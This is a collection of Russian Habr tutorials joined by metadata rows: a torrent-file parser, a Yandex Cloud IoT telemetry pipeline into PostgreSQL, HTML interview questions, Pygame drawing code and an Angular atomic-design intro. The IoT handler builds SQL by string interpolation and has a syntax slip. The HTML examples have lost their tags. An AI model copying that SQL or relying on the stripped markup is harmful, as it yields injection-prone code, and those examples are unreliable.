item = String.fromCharCode(byteArray[byteIndex[0]++]);
}
num = Number(num);
var line = '';
if (isRawBytes) {
byteIndex[0] += num;
return "[" + num + "]";
}
else {
while(num--) {
line += escape(String.fromCharCode(byteArray[byteIndex[0]++]));
}
try {
return decodeURIComponent(line);
}
catch(e) {
return unescape(line) + " (?!)";
}
}
}
return null;
}
```
За основу я взял [парсер на Perl](http://search.cpan.org/dist/Convert-Bencode/lib/Convert/Bencode.pm), соблазнившись его краткостью и простотой. Сначала я пробовал превратить типизированный массив в обычный массив байтов, чтобы можно было работать с `shift`, но такая реализация работала очень медленно (наверное, из-за постоянной переделки большого массива). Потому пришлось ввести постоянно увеличивающийся индекс доступа, обернув его в массив (чтобы можно было передавать по ссылке в рекурсии).
Основное отличие от исходного образца заключается в блоке разбора строк. Во-первых, мы удаляем из вывода огромную строку с байтами, содержащую хэши сегментов (у неё чёткое местоположение, поэтому, добравшись до нужного ключа в разборе ассоциированного массива, мы временно выставляем флаг отключения кодировки в вызове разбора значения этого ключа). Во-вторых, мы производим некоторые манипуляции по превращению байтов в UTF-8 для остальных строк. Тут нас подстерегают опасности: иногда в строках оказывается отнюдь не UTF-8 (например, популярный трекер tracker.0day.kiev.ua почему-то вставляет в ключе «source» слово «Трекер» в кодировке Windows-1251) и decodeURIComponent вылетает с ошибкой. Поэтому для таких случаев мы возвращаем строке необработанный вид, помечая её немножко. Можно было бы вообще удалять такие строки, но иногда в них вызывает проблему только кусочек, основная же часть вполне читаема из-за совпадения ASCII и начала UTF-8.
#### IV. Перспективы
На основе парсинга и получения описанной информации можно реализовывать более сложные задачи. Например:
— отслеживать обновление торрент-файла по идентичному адресу (сверяя содержимое или время создания) и оповещать о перезаливке; примеры подобных проверок (относительно веб-страниц, но всё легко переделывается) можно посмотреть [здесь](http://habrahabr.ru/post/146594/);
— если файл обновился, его можно автоматически сохранить из браузера в папку на диске, откуда его подхватит торрент-клиент (тут нас могут заинтересовать интерфейсы [nsIFile](https://developer.mozilla.org/en/XPCOM_Interface_Reference/nsIFile), [nsILocalFile](https://developer.mozilla.org/en/XPCOM_Interface_Reference/nsILocalFile), [nsIFilePicker](https://developer.mozilla.org/en/nsIFilePicker), [nsIFileOutputStream](https://developer.mozilla.org/en/nsIFileOutputStream), [nsIBinaryOutputStream](https://developer.mozilla.org/en/XPCOM_Interface_Reference/nsIBinaryOutputStream) и [пример кода](https://developer.mozilla.org/index.php?title=En/Firefox_addons_developer_guide/Using_XPCOM%E2%80%94Implementing_advanced_processes#Outputting_binary_files)).
— Поскольку последние реализации XHR поддерживают протокол file://, при помощи кнопки можно просматривать также локальные торрент-файлы и даже базы клиента (вроде settings.dat или resume.dat), правда, в последнем случае будет много бинарных строк с крокозябрами. Для этого нужно открыть папку с файлами в браузере и перетаскивать их на кнопку.
---
Обещанная ссылка на установку кнопки (если кто-то не захочет копировать код по частям во вкладку инициализации): поскольку хабрапарсер переделывает ссылку по протоколу http, нужно перейти [на эту страницу](http://vsemozhetbyt.ru/varia/custom_buttons.html) и нажать на ссылку «Просмотр торрент-файлов» (конечно, после установки Custom Buttons).
Прошу прощения, если огорчил кого-то неумелостью поделок или некорректными формулировками. Надеюсь, хоть что-нибудь из этого опыта кому-нибудь пригодится.
|
https://habr.com/ru/post/147630/
| null |
ru
| null |
# Быстрый прототип IIoT-решения на Raspberry PI и Yandex IoT. Часть вторая
Это вторая часть из цикла статей про прототипирование IIoT-решения на Raspberry PI и Yandex IoT.
В [первой части](https://habr.com/ru/company/glowbyte/blog/532426/) мы реализовали основные функции на Raspberry PI:
* сбор телеметрии с промышленных датчиков по протоколу Modbus;
* их передачу в облако;
* локальный мониторинг процесса в реальном времени.
Однако пока наш проект выглядит достаточно странно - данные попадают в облако, но никак там не “оседают”, а проходят насквозь, или вообще исчезают бесследно, если никто не успел их прочитать.
Настало время это исправить - разберемся с тем, как можно накапливать и обрабатывать переданную телеметрию в Яндекс Облаке.
---
Требуемый функционал
--------------------
В рамках нашего решения облако должно решать следующие основные задачи:
* принимать телеметрию устройства;
* накапливать телеметрию в хранилище;
* предоставлять доступ к накопленным данным с целью их последующего использования при разработки моделей, формирования отчетов и пр.
Посмотрим, какие инструменты для решения этих задач есть в Яндекс Облаке.
Доступные инструменты
---------------------
### Сбор и обработка телеметрии
#### Yandex IoT Core
В первой части мы уже познакомились с [Yandex IoT Core](https://cloud.yandex.ru/services/iot-core) и достаточно подробно разобрали его функционал. Если кратко, это MQTT-брокер от Яндекса, с помощью которого осуществляется обмен сообщениями между реестрами и устройствами.
Его мы и используем, чтобы отправлять телеметрию устройства в облако (как именно? велком [в первую часть](https://habr.com/ru/company/glowbyte/blog/532426/))
#### Yandex Cloud Functions
По умолчанию, с полученными по MQTT сообщениями в облаке ничего не происходит и информацию о них можно увидеть только в логах реестра или устройства. Для того, чтобы обработать присланную телеметрию нужно использовать сервис [Yandex Cloud Functions](https://cloud.yandex.ru/services/functions).
Этот сервис позволяет разворачивать serverless-функции (на данный момент на Python, Node.js, Bash, Go и PHP), а также обладает механизмом “триггеров” - запуска развернутых функций по какому-либо условию (таймеру, событию).
Например, можно создать функцию-обработчик сообщения телеметрии и триггер, привязанный к топику устройства или реестра IoT Core, который будет отправлять пришедшие в топик сообщения на обработку этой функции. Таким образом, способы обработки сообщений ограничивается только возможностями выбранного языка программирования, квотами и лимитами сервиса.
#### Yandex Message Queue
[Yandex Message Queue](https://cloud.yandex.ru/services/message-queue) - сервис для обмена сообщениями между приложениями. В рамках этого сервиса можно реализовать механизм очередей, в которые одни приложения отправляют сообщения, а другие - забирают.
Этот механизм будет полезен, если в качестве хранилища использовать ClickHouse или схожие аналитические колоночные СУБД, плохо переносящие единичные вставки - в очереди можно накопить пачку сообщений и отправить их на вставку одним большим пакетом.
### Хранение телеметрии
Для хранения данных Яндекс Облако предоставляет большое количество Managed Services для разных СУБД.
Managed Service любой СУБД, позволяет быстро развернуть готовый к работе кластер с необходимым хранилищем. Также в рамках облака можно быстро масштабировать ресурсы кластера в случае увеличения нагрузки.
Доступные на текущий момент СУБД:
* PostgreSQL
* ClickHouse
* MongoDB
* MySQL
* Redis
* SQL Server
По умолчанию, доступ к кластеру возможен только сервисами, развернутыми в рамках той же облачной сети (Yandex Virtual Private Cloud). Но при создании кластера можно включить публичный доступ, и тогда ресурс будет доступен из любой точки интернета.
### Использование накопленной телеметрии
#### Yandex DataLens
[Это сервис](https://cloud.yandex.ru/services/datalens) визуализации данных и анализа данных. Позволяет достаточно быстро создавать дашборды на основе данных из разнообразных источников.
Можно подключаться как к хранилищам, развернутым в облаке, так и сторонним источникам.
#### Yandex DataSphere
[Сервис для ML-разработки](https://cloud.yandex.ru/services/datasphere), предоставляющий все необходимые инструменты и динамически масштабируемые ресурсы для полного цикла разработки машинного обучения.
Работа ведется в ноутбуках JupyterLab, есть возможность выбора ресурсов, на которых будет выполняться каждая отдельная ячейка (количество ядер, GPU).
### Дополнительные инструменты
#### Yandex Monitoring
[Сервис](https://cloud.yandex.ru/services/monitoring) позволяет собирать, хранить и отображать метрики облачных ресурсов, а также настраивать алерты и присылать по ним уведомления. В отличии от DataLens, умеет обновлять графики онлайн и подходит для мониторинга в реальном времени!
Настройка сохранения телеметрии
-------------------------------
Несмотря на разнообразие инструментов, сейчас мы ограничимся тем, что будем просто сохранять телеметрию, пришедшую в IoT Core, в базу данных.
Для этого нам нужно развернуть и настроить 4 элемента:
* IoT Core: создать реестр, устройство, наладить передачу сообщений по MQTT (сделано в первой части);
* Managed Service for PostgreSQL - развернуть кластер, создать таблицу для хранения телеметрии;
* Cloud Functions - написать функцию-обработчик сообщения с телеметрией: функция должна записывать payload сообщения в БД;
* Cloud Functions - настроить триггер IoT Core, который будет запускать функцию-обработчик при появлении нового сообщения в топике реестра.
Частично здесь мы будем опираться на [пример подобного решения из документации Яндекс Облака](https://cloud.yandex.ru/docs/iot-core/solutions/data-recording).
### Настройка PostgreSQL
Для начала подключаем и настраиваем кластер Postgres:
Сервис Managed Service for PostgreSQL в консоли.Нам подойдет самая минимальная конфигурация - **b2.nano** (если впоследствии проект перерастет во что-то большее, ее легко можно будет расширить):
Конфигурация кластера.Заводим пользователя и базу данных:
Настройки БД.В разделе хосты нужно будет разрешить публичный доступ к ресурсу:
Настройка публичного доступа к БД.Это нужно для того, чтобы база была доступна для обращения из Cloud Functions.
Создадим кластер. Теперь придется подождать некоторое время пока кластер развернется и его статус поменяется с Creating на Alive.
Создание кластера.После того, как кластер развернулся, заходим в него и создаем таблицу:
Вход в SQL клиент облакаПока будем просто складывать весь payload в одну колонку. В последствии его можно будет распарсить на отдельные колонки по каждому значению, или классический timeseries:
```
CREATE TABLE telemetry_hist
( telemetry_timestamp timestamp,
device_nm varchar(200),
payload varchar(2000)
);
```
Такой подход удобен ещё и тем, что если в процессе доработки проекта поменяется структура payload-а, сохранение в БД не сломается и телеметрия не будет теряться.
### Создание функции-обработчика
Функция будет получать сообщения из MQTT-брокера и записывать данные в таблицу, созданную ранее.
В каталоге в консоли выбираем Cloud Functions:
Сервис Cloud Functions в консоли.Создаем функцию с названием **iot-core-handler** и каким-нибудь говорящим описанием.
В открывшемся редакторе выбираем среду выполнения. Мы будем использовать Python 3.7 (preview).
Выбор среды выполнения при создании YCF.Теперь нам доступен редактор кода. Здесь мы можем написать требуемую функцию, создать ее версию, после чего она сразу развернется и станет доступной для выполнения.
Редактор кода YCF.Помимо редактора кода, можно разворачивать код из архивов в Object Storage или загруженных напрямую.
Мы будем использовать код, предоставленный в документации Яндекс Облака ([гитхаб](https://github.com/yandex-cloud/examples/tree/master/iot/Samples/PostgreSQL)), немного поправив его под наши нужды.
Правки касаются формата таблицы и payload сообщений:
* Функция *makeInsertStatement*:
Поменяем формат инсерта согласно формату нашей таблицы, уберем разбор пэйлоада на отдельные поля, а также изменим входную переменную *event\_id на event\_ts.*
```
def makeInsertStatement(event_ts, payload_json, table_name):
msg = json.loads(payload_json)
msg_str = json.dumps(msg)
logger.info(msg_str)
insert= f"""INSERT INTO {table_name} (telemetry_timestamp , device_nm , payload) VALUES ('{event_ts}','iot_test_device', '{msg_str}')"""
return insert
```
* Функция *makeCreateTableStatement:*
Изменим выражение в соответсвтии с форматом таблицы.
```
def makeCreateTableStatement(table_name):
statement = f"""CREATE TABLE {table_name} (
( telemetry_timestamp timestamp,
device_nm varchar(200),
payload varchar(2000)
);
"""
return statement
```
* Функция *msgHandler*:
+ Изменим переменную event\_id на event\_ts (96 строка) и будем формировать ее следующим образом:
```
event_ts = json_msg["event_metadata"]["created_at"]
```
+ Изменим значение переменной table\_name на название нашей таблицы (98 строка):
```
table_name = ‘telemetry_hist’
```
+ В функцию makeInsertStatement в качестве первого аргумента отправляем не event\_id, а event\_ts (99 строка):
```
sql = makeInsertStatement(event_ts, event_payload, table_name)
```
Код с уже внесенными правками можно найти в [этом гисте](https://gist.github.com/vldplcd/9f7568af10df1a715b38c0c99f188cba). Вставим его в файл index.py.
Обратите внимание, если вы использовали другое название таблицы для сохранения телеметрии, необходимо указать его в качестве значения переменной **table\_name** на 79 строке.
Теперь, перед созданием версии функции, в форме под редактором необходимо заполнить параметры развертывания:
* Точка входа: укажем **index.msgHandler** - это имя функции в файле index.py, которая будет вызываться в качестве обработчика. Указывается в формате <имя файла с функцией>.<имя обработчика>
* Таймаут, с: 10 секунд -максимальное время выполнения функции. Облачная функция может выполняться не более 10 минут.
* Память: 128 МБ - объем необходимой для функции памяти
* Сервисный аккаунт - укажем (или создадим, если его еще нет) сервисный аккаунт с ролями **serverless.functions.invoker** и **editor**
* Переменные окружения - обратите внимание, разработанная функция использует 6 переменных окружения, которые необходимо заполнить в соответствующих полях. Нужно указать следующее:
+ **VERBOSE\_LOG** — параметр, отвечающий за вывод подробной информации о выполнении функции. Введем значение True.
+ **DB\_HOSTNAME** — имя хоста БД PostgreSQL для подключения.
+ **DB\_PORT** — порт для подключения.
+ **DB\_NAME** — имя базы данных для подключения.
+ **DB\_USER** — имя пользователя для подключения.
+ **DB\_PASSWORD** — пароль, который был введен при создании кластера
Все данные для подключения (кроме пароля) можно найти в обзоре развернутого Managed Service for PostgreSQL.
Информация для подключения к БДВ итоге мы получаем такое заполнение полей:
Настройки YCF.Создадим версию функции (кнопка Создать версию).
### Настройка триггера IoT Core
Вернемся в раздел Cloud Functions и выберем подраздел “Триггеры”.
Подраздел "Триггеры" YCF.Создадим триггер (кнопка “Создать триггер”).
* В блоке Базовые параметры:
+ В поле Имя введем имя триггера.
+ В поле Тип выберем Yandex IoT Core. Так мы укажем сервису, что будем работать с обработкой событий IoT Core. Кроме этого источника, для решения других задач можно обрабатывать сообщения Message Queue, события Object Storage, Container Registry, логов Cloud Logs, а также запускать функцию по таймеру.
* В блоке Настройки сообщений Yandex IoT Core:
+ В поле Реестр введем iot\_test-reg - реестр к которому привязано наше устройствою
+ В поле Устройство выберем Любое устройство (т.к. мы отправляем сообщения в топик реестра)
+ В поле Топик укажем топик, в который устройство отправляет данные:
- *$registries//events*
Теперь триггер будет срабатывать при появлении новых данных в указанном топике.
* В блоке Настройки функции:
+ Выберем функцию для обработки данных, созданную ранее (iot-core-handler).
+ В поле Тег версии укажем $latest - тогда триггер будет запускать последнюю развернутую .
+ В поле Сервисный аккаунт укажем созданный ранее сервисный аккаунт.
+ Остальные поля оставим пустыми.
Настройки триггера YCF.Создадим триггер с заданными настройками.
### Проверка работоспособности
Всё готово!
Теперь (если всё сделано правильно) каждое сообщение, отправляемое устройством, будет через созданный триггер инициировать вызов функции. Которая, в свою очередь, положит отправленный payload в таблицу на Postgres.
Проверим логи выполнения функции (Cloud Functions -> Функции -> iot-core-handler -> Логи).
Логи выполнения функции iot-core-handler.Здесь отображаются сообщения, выводимые функцией в процессе работы, в том числе, сообщения об ошибках. Если сообщений об ошибках нет (а есть информационные сообщения, начинающиеся с [INFO]) - функция работает корректно.
Посмотрим теперь заполнение таблицы telemetry\_*hist* в нашей БД (Managed Services for PostgresSQL -> telemetry\_store -> SQL). Вводим имя пользователя и пароль и попадаем в редактор SQL.
Вводим простой запрос для получения выгрузки из таблицы
```
SELECT * FROM telemetry_hist
```
И видим всю историю отправленных пэйлоадов:
Заполнение таблицы telemetry\_hist.То есть всё работает: теперь телеметрия попадает в облако, накапливается в развернутой БД и доступна для дальнейшего анализа в любое удобное время из любой точки планеты!
**PS.** Если по каким-то причинам таблица остается пустой, можно проверить следующие моменты:
Отправило ли устройство хотя бы одно сообщение с момента деплоя функции и триггера?
* Если нет - просто ждем пока это произойдет)
* Если отправляло - смотрим логи выполнения функции.
+ Если логи пустые - стоит проверить триггер (в частности правильно ли указан топик и функция).
+ Если в логах ошибки - разбираемся с кодом.
+ Если функция отрабатывает и ошибок нет - проверяем настройки подключения к БД и имя таблицы.
|
https://habr.com/ru/post/538682/
| null |
ru
| null |
# Десять типичных вопросов на собеседованиях на знание HTML
[Аурэлио Де Роза](http://www.sitepoint.com/author/aderosa/) несколько дней назад выпустил, на мой взгляд, очень привлекательную [статью](http://www.sitepoint.com/10-typical-html-interview-exercises/), которой я хочу с вами поделиться на тот случай, если у вас плохо с английским.
---
Несколько недель назад на SitePoint были опубликованы две мои статьи, в которых я рассмотрел наиболее часто задаваемые на собеседовании вопросы по JavaScript (в случае, если вы пропустили: [«5 Typical JavaScript Interview Exercises»](http://www.sitepoint.com/5-typical-javascript-interview-exercises/) и [«5 More JavaScript Interview Exercises»](http://www.sitepoint.com/5-javascript-interview-exercises/)).
Обе эти статьи имели огромный успех, что было крайне неожиданным. Я решил, что пришло время написать подобную статью, но уже на тему HTML — и вот, что у меня получилось.
Валидация разметки
------------------
Рассмотрим следующую разметку:
```
A landscape of London by night
```
Валидный ли это код? Поясните, почему.
### Ответ
В разметке используется [тэг picture](http://www.w3.org/TR/html-picture-element/), который совсем недавно вошел в спецификацию. Код валидный вплоть до последнего изображения в атрибуте `srcset`; `320y` — невалидное значение. Если изменить `y` на `w`, то код будет валидным полностью.
Элемент `main`
--------------
Дайте определение элементу `main`. Какова его цель? Сходятся ли в определении этого элемента спецификации W3C и WHATWG?
### Ответ
`main` элемент не имеет единого определения и в каждой спецификации оно разное.
Спецификация W3C [описывает элемент](http://www.w3.org/TR/html51/grouping-content.html#the-main-element) как главное содержание страницы, то есть контент, который описывает основную тему страницы или является ключевым элементом функциональности приложения. В спецификации также говорится, что на странице не может быть больше одного `main` элемента.
Спецификация WHATWG не наделяет тэг `main` какой-либо семантикой и [описывает элемент](https://html.spec.whatwg.org/multipage/semantics.html#the-main-element) как контейнер для главенствующего содержания какого либо элемента. Также, согласно WHATWG, вам не запрещается иметь на одной странице несколько элементов `main`. Если у вас имеется несколько `article` элементов на странице, то вы можете выделить главенствующее содержимое каждого `article` с помощью тэга `main`.
WAI-ARIA
--------
Рассмотрим следующую разметку:
```
Main title
==========
* [Home](/)
* [Products](/products)
* [About](/about)
Main title
==========
This is the content of this section
Copyright © Aurelio De Rosa 2014
```
Можете ли вы улучишь доступность разметки с помощью WAI-ARIA ролей, где это возможно, учитывая старые технологии?
### Ответ
Код должен быть переписан следующим образом:
```
Main title
==========
Search:
* [Home](/)
* [Products](/products)
* [About](/about)
Main title
==========
This is the content of this section
Copyright © Aurelio De Rosa 2014
```
Чтобы улучшить доступность, список навигации был помещен в тэг `nav`. Чтобы улучшить доступность для старых технологий, которые не поддерживают новые семантичные тэги, роли `header`, `navigation`, `main`, `article`, и `contentinfo` были добавлены элементам `header`, `nav`, `main`, `article`, и `footer` соответственно.
Другое улучшение касается формы поиска. Сначала форме была добавлена роль `search`. После чего был добавлен элемент `label`, который связан с элементом `input` с помощью атрибута `for`.
Элемент `small`
---------------
Расскажите, в каких случаях уместно использование элемента `small` и приведите пример.
### Ответ
Элемент `small` был представлен в HTML 4.01 и предназначался для того, чтобы делать текст маленьким. [В HTML5](http://www.w3.org/TR/html5/text-level-semantics.html#the-small-element) этому тэгу придали семантическое значение и рекомендуют помещать в него различного рода предупреждения, юридические текст и прочее, что должно быть написано «мелким шрифтом». При этом текст может выглядеть маленьким, но это уже не обязательно.
Пример использования приведен ниже:
```
Права на это изображение являются собственностью Аурелио Де Роза.
```
Подзаголовки
------------
Подзаголовки — это одни из самых распространенных элементов в любом вебсайте. Несколько лет назад тэг `hgroup` был представлен как раз для этих нужд, однако совсем недавно он был удалён из спецификации. Можете ли вы описать, почему отказались от `hgroup` и как проблему с разметкой заголовков решают сегодня?
### Ответ
Элемент `hgroup` был создан для того, чтобы группировать заголовки (`h1`-`h6`) и тем самым исключить возможность непреднамеренного создания подуровня в иерархии. Чтобы понять, к какой же все-таки проблеме взывает данный тэг, давайте рассмотрим следующую разметку:
```
Main title
==========
This is a subtitle
------------------
This is the content of this section
```
Вот что мы получаем, если попробовать изобразить иерархию вышеизложенной разметки:
```
h1
|
---h2
|
p
```
Эта простая схема наглядно показывает, что параграф являестя содержимым элемента `h2` вместо того, чтобы быть содержимым элемента `h1`, вне зависимости от того, планировалось ли так сделать. Если же было намерение создать подзаголовок, а `p` связать с `h1`, то данная разметка является неправильной.
Собственно, элемент `hgroup` и был создан для того, чтобы решить эту проблему. Однако он был удалён из спецификации HTML5 в апреле 2013 года в виду отсутствия реализаций и отсутствия прецедентов, что делает его использование недопустимым.
Решением для задачи создания подзаголовка так, чтобы следующий далее параграф был связан с `h1`, изложено ниже:
```
Main title
This is a subtitle
================================
This is the content of this section
```
Изображения и доступность
-------------------------
Является ли атрибут `alt` обязательным для `img` элемента? Если нет, то приведите пример, в котором атрибут `alt` может иметь пустое значение. Изменится ли как-то доступность этого элемента в данном случае?
### Ответ
[Атрибут alt](http://www.w3.org/TR/html5/embedded-content-0.html#alt) является обязательным для тэга `img`, однако значение этого атрибута может быть пустым (т.е. `alt=""`). Имеет смысл оставлять значение атрибута пустым в случае, когда изображение используется только для декоративных целей и не является частью содержания страницы. Что касается доступности, если атрибут `alt` ничего не содержит, то экранные дикторы проигнорируют изображение. Оставлять атрибут пустым в данном случае крайне рекомендуется, ведь что-нибудь вроде «Разделитель содержимого» будет только раздражать тех, кто слушает экранного диктора.
Элемент `time`
--------------
Возможно ли изобразить интервал дат с помощью одного элемента `time`?
### Ответ
Нет, невозможно. Можно представить эту информацию используя два [элемента time](http://www.w3.org/TR/html5/text-level-semantics.html#the-time-element). Например, для того, чтобы представить временной интервал от 6-го ноября 2014 до 9-го ноября 2014 года, разработчик может написать:
```
6-
9 November 2014
```
`meter` и `progress`
--------------------
В чем разница между элементами `meter` и `progress`?
### Ответ
[«Элемент meter](http://www.w3.org/TR/html5/forms.html#the-meter-element) призван представить скалярное измерение в пределах известного диапазона или дробное значение. Этот элемент не очень хорошо подходит для измерения чего-нибудь вроде температуры, потому что не имеет фиксированного диапазона. Тем не менее, `meter` может быть использован для описания занимаемой памяти жесткого диска.
[Элемент progress](http://www.w3.org/TR/html5/forms.html#the-progress-element) используется для того, чтобы показать прогресс выполнения задачи. В отличии от элемента `meter`, прогресс, описываемый элементом `progress`, может быть и не определен. Например, вы могли бы этим элементом показать, что прогресс выполнения задачи имеется, но вы не сможете указать, когда задача будет выполнена.
Атрибут `longdesc`
------------------
Что такое атрибут `longdesc`? Можете ли вы объяснить его цель?
### Ответ
[Атрибут `longdesc` элемента `img`](http://www.w3.org/TR/html-longdesc/) был и во времена HTML4, но и до сих пор считается валидным в HTML5. Этот атрибут был сделан для того, чтобы позволить более детально описывать изображения, нежели это позволяет сделать атрибут `alt`. Интересная вещь: вместо того, чтобы являть собой описание изображения (как это делает атрибут `alt`), `longdesc` указывает на гиперссылку, содержащую описание.
Ниже продемонстрирован пример использование атрибута `longdesc`:
```
Italy
-----
The shown map of Italy illustrates its division
in regions...
```
Элемент `mark`
--------------
Что такое элемент `mark`? Приведите пример использования этого элемента.
### Ответ
[Элемент mark](http://www.w3.org/TR/html5/text-level-semantics.html#the-mark-element) подсвечивает текст. Распространённый пример использования — это подсвечивание ключевого слова или ключевых слов, которые ищет пользователь.
Заключение
----------
В данной статье я рассмотрел десять вопросов для собеседования, которые вы можете использовать для тестирования на знание HTML. В следующем своем собеседовании вы можете использовать один или несколько из них.
Чтобы помочь вам изучить эти и другие смежные по теме семантики вопросы, я рекомендую прочитать некоторые из следующих статей SitePoint:
* [5 Obsolete Features in HTML5](http://www.sitepoint.com/5-obsolete-features-html5/)
* [A Guide to the HTML5 ‘time’ Element](http://www.sitepoint.com/html5-time-element-guide/)
* [20 HTML Elements for Better Text Semantics](http://www.sitepoint.com/20-html-elements-better-text-semantics/)
* [Replacing Radio Buttons Without Replacing Radio Buttons](http://www.sitepoint.com/replacing-radio-buttons-without-replacing-radio-buttons/)
* [Everything You Need to Know About HTML’s ‘pre’ Element](http://www.sitepoint.com/everything-need-know-html-pre-element/)
Если у вас есть интересные вопросы по HTML? Делитесь ими в комментариях, возможно, тем самым вы поможете другим разработчикам, когда они будут проходить своё собеседование.
|
https://habr.com/ru/post/244929/
| null |
ru
| null |
# Создание игр на Python 3 и Pygame: Часть 2
(Остальные части туториала: [первая](https://habrahabr.ru/post/347138/), [третья](https://habrahabr.ru/post/347256/), [четвёртая](https://habrahabr.ru/post/347266/), [пятая](https://habrahabr.ru/post/347286/).)
Во второй из пяти частей туториала, посвящённого созданию игр с помощью Python 3 и Pygame, мы рассмотрим класс `TextObject`, используемый для рендеринга текста на экране. Мы создадим основное окно, в том числе и фоновое изображение, а затем научимся отрисовывать объекты: кирпичи, мяч и ракетку.
Класс TextObject
----------------
Класс `TextObject` предназначен для отображения текста на экране. Можно сделать вывод, что с точки зрения дизайна он должен быть подклассом класса `GameObject`, потому что тоже является визуальным объектом и его тоже иногда нужно двигать. Но я не хотел вводить глубокую иерархию классов, при которой весь отображаемый Breakout текст оставался на экране неизменным.
Класс `TextObject` создаёт объект шрифта. Он рендерит текст на отдельную текстовую поверхность, которая затем копируется (рендерится) на основную поверхность. Интересный аспект `TextObject` заключается в том, что у него нет какого-то фиксированного текста. Он получает функцию `text_func()`, вызываемую каждый раз, когда он рендерится.
Это позволяет нам обновлять отображение жизней и очков в Breakout, просто создав функцию, возвращающую текущие жизни и очки, а не отслеживать то, какие текстовые объекты отображают очки и жизни и обновлять их текст при каждом их изменении. Это удобный трюк из функционального программирования, и в крупных играх он позволяет поддерживать удобство и аккуратность программы.
```
import pygame
class TextObject:
def __init__(self,
x,
y,
text_func,
color,
font_name,
font_size):
self.pos = (x, y)
self.text_func = text_func
self.color = color
self.font = pygame.font.SysFont(font_name, font_size)
self.bounds = self.get_surface(text_func())
def draw(self, surface, centralized=False):
text_surface, self.bounds = \
self.get_surface(self.text_func())
if centralized:
pos = (self.pos[0] - self.bounds.width // 2,
self.pos[1])
else:
pos = self.pos
surface.blit(text_surface, pos)
def get_surface(self, text):
text_surface = self.font.render(text,
False,
self.color)
return text_surface, text_surface.get_rect()
def update(self):
pass
```
Создание основного окна
-----------------------
Игры на Pygame выполняются в окнах. Можно даже сделать так, чтобы они выполнялись в полноэкранном режиме. Сейчас я расскажу, как отобразить пустое окно Pygame. Вы увидите многие элементы, которые мы обсуждали ранее. Сначала вызывается `init()` Pygame, а затем создаются основная поверхность рисования и таймер.
Затем выполняется основной цикл, который постоянно заполняет экран однотонным серым цветом и вызывает метод таймера `tick()` с частотой кадров.
```
import pygame
pygame.init()
screen = pygame.display.set_mode((800, 600))
clock = pygame.time.Clock()
while True:
screen.fill((192, 192, 192))
pygame.display.update()
clock.tick(60)
```
### Использование фонового изображения
Обычно однотонный цвет фона выглядит не очень интересно. Pygame очень хорошо работает с изображениями. Для Breakout я нашёл любопытную фотографию настоящего космоса, сделанную НАСА. Код очень прост. Сначала он перед основным циклом загружает фоновое изображение с помощью функции `pygame.image.load()`. Затем вместо того, чтобы заливать экран цветом, он выполняет блиттинг (копирование битов) изображения на экран в позицию (0,0). В результате на экране отображается изображение.
```
import pygame
pygame.init()
screen = pygame.display.set_mode((800, 600))
clock = pygame.time.Clock()
background_image = pygame.image.load('images/background.jpg')
while True:
screen.blit(background_image, (0, 0))
pygame.display.update()
clock.tick(60)
```
Отрисовка фигур
---------------
Pygame может рисовать всё, что угодно. В модуле `pygame.draw` есть функции для отрисовки следующих фигур:
* прямоугольника (rect)
* многоугольника (polygon)
* круга (circle)
* эллипса (ellipse)
* дуги (arc)
* отрезка (line)
* отрезков (lines)
* сглаженного отрезка (anti-aliased line)
* сглаженных отрезков (anti-aliased lines)
Все объекты в Breakout (за исключением текста) являются простыми фигурами. Давайте изучим метод draw() различных объектов Breakout.
### Отрисовка кирпичей
Кирпичи — это просто прямоугольники. В Pygame есть функция `pygame.draw.rect()`, получающая поверхность, цвет и объект Rect (левую и верхнюю координату, ширину и высоту) и рендерящая прямоугольник. Если дополнительный параметр ширины больше нуля, то он отрисовывает контур. Если ширина равна нулю (значение по умолчанию), то рисует сплошной прямоугольник.
Стоит заметить, что класс `Brick` является подклассом `GameObject` и получает все его свойства, но также имеет и цвет, который обрабатывает самостоятельно (потому что могут существовать игровые объекты, имеющие несколько цветов). Поле `special_effect` мы пока рассматривать не будем.
```
import pygame
from game_object import GameObject
class Brick(GameObject):
def __init__(self, x, y, w, h, color, special_effect=None):
GameObject.__init__(self, x, y, w, h)
self.color = color
self.special_effect = special_effect
def draw(self, surface):
pygame.draw.rect(surface, self.color, self.bounds)
```
### Отрисовка мяча
Мяч в Breakout — это просто круг. В Pygame есть функция `pygame.draw.circle()`, получающая цвет, центр, радиус и дополнительный параметр ширины, который по умолчанию равен нулю. Как и в функции `pygame.draw.rect()`, если ширина равна нулю, то отрисовывается сплошной круг. Ball тоже является подклассом GameObject.
Так как мяч всегда движется (в отличие от кирпичей), он также имеет скорость, которая передаётся для обработки базовому классу `GameObject`. Класс Ball имеет небольшое отличие — параметры x и y обозначают его центр, а параметры x и y, передаваемые базовому классу `GameObject` являются верхним левым углом ограничивающего прямоугольника. Чтобы преобразовать центр в верхний левый угол, достаточно вычесть радиус.
```
import pygame
from game_object import GameObject
class Ball(GameObject):
def __init__(self, x, y, r, color, speed):
GameObject.__init__(self,
x - r,
y - r,
r * 2,
r * 2,
speed)
self.radius = r
self.diameter = r * 2
self.color = color
def draw(self, surface):
pygame.draw.circle(surface,
self.color,
self.center,
self.radius)
```
### Отрисовка ракетки
Ракетка — это ещё один прямоугольник, двигающийся влево и вправо в ответ на нажатия игроком клавиш со стрелками. Это значит, что положение ракетки в разных кадрах может отличаться, но в процессе отрисовки это просто прямоугольник, который должен рендериться в текущей позиции, какой бы она ни была. Вот как выглядит соответствующий код:
```
import pygame
import config as c
from game_object import GameObject
class Paddle(GameObject):
def __init__(self, x, y, w, h, color, offset):
GameObject.__init__(self, x, y, w, h)
self.color = color
self.offset = offset
self.moving_left = False
self.moving_right = False
def draw(self, surface):
pygame.draw.rect(surface, self.color, self.bounds)
```
Заключение
----------
В этой части мы узнали о классе TextObject и о том, как рендерить текст на экране. Также мы познакомились с тем, как рисовать объекты: кирпичи, мяч и ракетку.
В третьей части мы узнаем, как работает обработка событий и как Pygame позволяет нам перехватывать события и реагировать на них (нажатия клавиш, движение мыши и нажатия кнопок мыши). Также мы рассмотрим такие элементы игрового процесса, как движение мяча, задание его скорости и перемещение ракетки.
|
https://habr.com/ru/post/347170/
| null |
ru
| null |
# Простая архитектура приложений на фреймворке Angular
Введение в атомарный дизайн
---------------------------
Можете ли вы с первого взгляда определить, что находится внутри общего модуля? И, не открывая другой файл, сказать, в каких компонентах есть зависимости или привязки к другим компонентам? Каким бы ни был ваш ответ, я предлагаю вам заварить чай или кофе и разобраться со мной в основах [теории атомарного дизайна, придуманной Брэдом Фростом](https://atomicdesign.bradfrost.com/chapter-2/)!
### Определение атомарного дизайна в контексте Angular
